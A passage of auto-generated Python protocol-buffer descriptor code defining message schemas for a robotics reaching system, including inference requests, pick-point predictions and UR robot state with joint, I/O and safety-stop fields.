containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.MessageLastTimestamp.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.MessageLastTimestamp.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.MessageLastTimestamp.data_type', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='key', full_name='robotics.learning.reach.MessageLastTimestamp.key', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='last_ts', full_name='robotics.learning.reach.MessageLastTimestamp.last_ts', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='LastTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=17323,
serialized_end=17472,
)
_INFERENCEREQUEST = _descriptor.Descriptor(
name='InferenceRequest',
full_name='robotics.learning.reach.InferenceRequest',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='prediction_type', full_name='robotics.learning.reach.InferenceRequest.prediction_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='request_type', full_name='robotics.learning.reach.InferenceRequest.request_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='task_code', full_name='robotics.learning.reach.InferenceRequest.task_code', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intent', full_name='robotics.learning.reach.InferenceRequest.intent', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='label', full_name='robotics.learning.reach.InferenceRequest.label', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_id', full_name='robotics.learning.reach.InferenceRequest.robot_id', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='robotID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_type', full_name='robotics.learning.reach.InferenceRequest.success_type', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=17475,
serialized_end=17647,
)
_PREDICTION = _descriptor.Descriptor(
name='Prediction',
full_name='robotics.learning.reach.Prediction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='color', full_name='robotics.learning.reach.Prediction.color', index=0,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_ssot_key', full_name='robotics.learning.reach.Prediction.color_ssot_key', index=1,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pick_points', full_name='robotics.learning.reach.Prediction.pick_points', index=2,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position_3d', full_name='robotics.learning.reach.Prediction.position_3d', index=3,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='position3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='quaternion_3d', full_name='robotics.learning.reach.Prediction.quaternion_3d', index=4,
number=5, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='quaternion3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='place_position_3d', full_name='robotics.learning.reach.Prediction.place_position_3d', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='placePosition3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='place_quaternion_3d', full_name='robotics.learning.reach.Prediction.place_quaternion_3d', index=6,
number=7, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='placeQuaternion3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='confidence', full_name='robotics.learning.reach.Prediction.confidence', index=7,
number=8, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='inference_request', full_name='robotics.learning.reach.Prediction.inference_request', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_ts', full_name='robotics.learning.reach.Prediction.color_ts', index=9,
number=10, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='colorTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_ts', full_name='robotics.learning.reach.Prediction.depth_ts', index=10,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='depthTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='error', full_name='robotics.learning.reach.Prediction.error', index=11,
number=12, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\004\030\001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_data', full_name='robotics.learning.reach.Prediction.color_data', index=12,
number=13, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=17650,
serialized_end=18357,
)
_PICKPOINT = _descriptor.Descriptor(
name='PickPoint',
full_name='robotics.learning.reach.PickPoint',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.PickPoint.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.PickPoint.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=18359,
serialized_end=18392,
)
_LEVEL = _descriptor.Descriptor(
name='Level',
full_name='robotics.learning.reach.Level',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='level', full_name='robotics.learning.reach.Level.level', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=18394,
serialized_end=18424,
)
_URSTATE = _descriptor.Descriptor(
name='UrState',
full_name='robotics.learning.reach.UrState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='pose', full_name='robotics.learning.reach.UrState.pose', index=0,
number=1, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joints', full_name='robotics.learning.reach.UrState.joints', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='force', full_name='robotics.learning.reach.UrState.force', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='torque', full_name='robotics.learning.reach.UrState.torque', index=3,
number=34, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_dexterity', full_name='robotics.learning.reach.UrState.robot_dexterity', index=4,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_robot_power_on', full_name='robotics.learning.reach.UrState.is_robot_power_on', index=5,
number=5, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_emergency_stopped', full_name='robotics.learning.reach.UrState.is_emergency_stopped', index=6,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_protective_stopped', full_name='robotics.learning.reach.UrState.is_protective_stopped', index=7,
number=7, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_stop_state', full_name='robotics.learning.reach.UrState.robot_stop_state', index=8,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_program_running', full_name='robotics.learning.reach.UrState.is_program_running', index=9,
number=8, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_in', full_name='robotics.learning.reach.UrState.digital_in', index=10,
number=9, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sensor_in', full_name='robotics.learning.reach.UrState.sensor_in', index=11,
number=10, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_out', full_name='robotics.learning.reach.UrState.digital_out', index=12,
number=11, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_in', full_name='robotics.learning.reach.UrState.analog_in', index=13,
number=12, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_out', full_name='robotics.learning.reach.UrState.analog_out', index=14,
number=13, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_digital_in', full_name='robotics.learning.reach.UrState.tool_digital_in', index=15,
number=14, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_digital_out', full_name='robotics.learning.reach.UrState.tool_digital_out', index=16,
number=15, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_analog_in', full_name='robotics.learning.reach.UrState.tool_analog_in', index=17,
number=16, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_analog_out', full_name='robotics.learning.reach.UrState.tool_analog_out', index=18,
number=17, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='board_temp_c', full_name='robotics.learning.reach.UrState.board_temp_c', index=19,
number=18, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_voltage_v', full_name='robotics.learning.reach.UrState.robot_voltage_v', index=20,
number=19, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_current_a', full_name='robotics.learning.reach.UrState.robot_current_a', index=21,
number=20, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='board_io_current_a', full_name='robotics.learning.reach.UrState.board_io_current_a', index=22,
number=21, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='boardIOCurrentA', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_temp_c', full_name='robotics.learning.reach.UrState.tool_temp_c', index=23,
number=22, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_voltage_v', full_name='robotics.learning.reach.UrState.tool_voltage_v', index=24,
number=23, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_current_a', full_name='robotics.learning.reach.UrState.tool_current_a', index=25,
number=24, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_voltages_v', full_name='robotics.learning.reach.UrState.joint_voltages_v', index=26,
number=25, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_currents_a', full_name='robotics.learning.reach.UrState.joint_currents_a', index=27,
number=26, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_temps_c', full_name='robotics.learning.reach.UrState.joint_temps_c', index=28,
number=27, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_mode', full_name='robotics.learning.reach.UrState.robot_mode', index=29,
number=28, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='program_counter', full_name='robotics.learning.reach.UrState.program_counter', index=30,
number=29, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\005B\003int', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_bank', full_name='robotics.learning.reach.UrState.digital_bank', index=31,
number=30, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_bank', full_name='robotics.learning.reach.UrState.analog_bank', index=32,
number=31, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='integer_bank', full_name='robotics.learning.reach.UrState.integer_bank', index=33,
number=32, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='last_terminated_program', full_name='robotics.learning.reach.UrState.last_terminated_program', index=34,
number=33, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001\202\277\343\330\t\014URRobotState',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=18427,
serialized_end=19468,
)
_ROBOTSTOPSTATE = _descriptor.Descriptor(
name='RobotStopState',
full_name='robotics.learning.reach.RobotStopState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_emergency_stopped', full_name='robotics.learning.reach.RobotStopState.is_emergency_stopped', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_protective_stopped', full_name='robotics.learning.reach.RobotStopState.is_protective_stopped', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_safeguard_stopped', full_name='robotics.learning.reach.RobotStopState.is_safeguard_stopped', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_reduced_mode', full_name='robotics.learning.reach.RobotStopState.is_reduced_mode', index=3,
number=4, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safety_message', full_name='robotics.learning.reach.RobotStopState.safety_message', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=19471,
serialized_end=19635,
)
_ROBOTSTATE = _descriptor.Descriptor(
name='RobotState',
full_name='robotics.learning.reach.RobotState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='pose', full_name='robotics.learning.reach.RobotState.pose', index=0,
number=1, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joints', full_name='robotics.learning.reach.RobotState.joints', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='force', full_name='robotics.learning.reach.RobotState.force', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='torque', full_name='robotics.learning.reach.RobotState.torque', index=3,
number=34, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_dexterity', full_name='robotics.learning.reach.RobotState.robot_dexterity', index=4,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_robot_power_on', full_name='robotics.learning.reach.RobotState.is_robot_power_on', index=5,
number=5, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_emergency_stopped', full_name='robotics.learning.reach.RobotState.is_emergency_stopped', index=6,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_protective_stopped', full_name='robotics.learning.reach.RobotState.is_protective_stopped', index=7,
number=7, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_stop_state', full_name='robotics.learning.reach.RobotState.robot_stop_state', index=8,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_program_running', full_name='robotics.learning.reach.RobotState.is_program_running', index=9,
number=8, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_in', full_name='robotics.learning.reach.RobotState.digital_in', index=10,
number=9, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
